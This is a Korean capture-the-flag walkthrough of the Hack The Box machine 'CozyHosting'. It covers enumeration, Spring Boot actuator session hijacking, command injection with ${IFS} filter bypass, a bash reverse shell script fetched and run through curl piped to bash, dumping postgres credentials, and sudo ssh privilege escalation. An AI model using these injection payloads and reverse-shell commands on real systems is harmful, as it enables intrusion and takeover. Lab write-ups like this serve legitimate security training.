HTB - CozyHosting 풀이(★)
[CozyHosting / Linux / Easy]
sudo nmap -v -sC -sV 10.10.11.230
whatweb http://10.10.11.230
* 디렉토리 검색을 하기 이전에 /etc/hosts 파일에 cozyhosting.htb 를 등록한다.
feroxbuster -u http://cozyhosting.htb -w /usr/share/wordlists/dirb/directory-list-2.3-medium.txt -C 404 -x php,jsp,txt
500 에러 페이지를 발견할 수 있는데, Whitelabel error Page 를 검색해보면
Spring Boot 프레임 워크에서 발생하는 에러 페이지임을 확인할 수 있다.
추가적인 검색을 위해 sprint boot wordlist 를 검색해본다.
feroxbuster -u http://cozyhosting.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/spring-boot.txt -C 404 -x php,jsp,txt
* 실습 머신으로 Kali 를 사용하고 있어서 /usr/share/wordlists/seclists/~ 파일들이 있어서 다른 곳에 써먹으려고 해당 경로에 넣어줬다.
acurator에 대한 정보를 얻기 위해서 추가로 검색을 해봤다.
acurator : Spring Boot 에서 어플리케이션을 모니터링/관리 하기위해 제공하는 기본 기능
설정이나 구성에 대한 설명은 아래 참고 블로그에 자세히 나와있다.
참고) https://sabarada.tistory.com/23
남아있는 sessions 정보에 'kanderson' 이라는 이름을 찾았다. kanderson 의 쿠키 값을 복사하여 집어넣고,
http://cozyhosting.htb/admin 에 다시 접속하면 해당 쿠키 사용자의 권한으로 로그인 할 수 있다.
command injection 을 시도해본 결과 서로 다른 3개의 에러 메세지를 확인 할 수 있다.
Host key verification failed : ssh -i id_rsa user@host 실패 동작
Invalid hostname : 유효하지 않은 hostname(Injection 안됨)
Username can't contain whitespaces! : 공백을 포함할수 없음(공백만 아니면 된다? 다른 유효성에 대한 검사가 없는 듯)
* 추가로 검색해보니까 command injeciton을 검사할때 ${IFS} 라는 shell script 의 내부 필드분리자 를 사용할 수 있다고 한다.
참고) https://www.hahwul.com/cullinan/command-injection/
test;ping${IFS}-c${IFS}5${IFS}10.10.14.12;#
이제 간단한 reverse shell 파일을 만들고 실행시킬 차례이다.
rev.sh
#!/bin/bash
/bin/bash -i >& /dev/tcp/10.10.14.12/4444 0>&1
test;curl${IFS}http://10.10.14.12/rev.sh|bash;#
* | 로 curl 내용을 받아 bash로 실행한 것인데, curl ~~~ -o /tmp/rev.sh 같은 방식으로 편집 가능한 위치에 저장 후에 실행시키는 방법도 있다.
많은 파일들이 쏟아지는데, spring boot의 설정 파일들은 .properties .yml(yaml) 형식을 가진다고 한다. 검색해보자.
(spring boot framework에 대해 알았다면 민감 정보가 들어있는 파일들의 위치는 외우고 있었겠지만 아직 잘 모른다.)
DB 플랫폼을 postgres 를 사용하고
postgres / Vg&nvzAQ7XxR
라는 계정 정보를 얻었다.
\list
\connect cozyhosting
\dt
select * from users;
manchesterunited
그 다음은 /etc/passwd 파일 내의 계정들을 보고 쉘 접속이 가능한 계정들(root,postgres,josh,_laurell) 리스트에다가 크랙된 비밀번호를 넣고 돌려보았다.
lateral movement 까지는 시간이 되게 오래걸렸는데, ssh 에 sudo 권한이 있어서
Pri Escalate 는 바로 끝났다.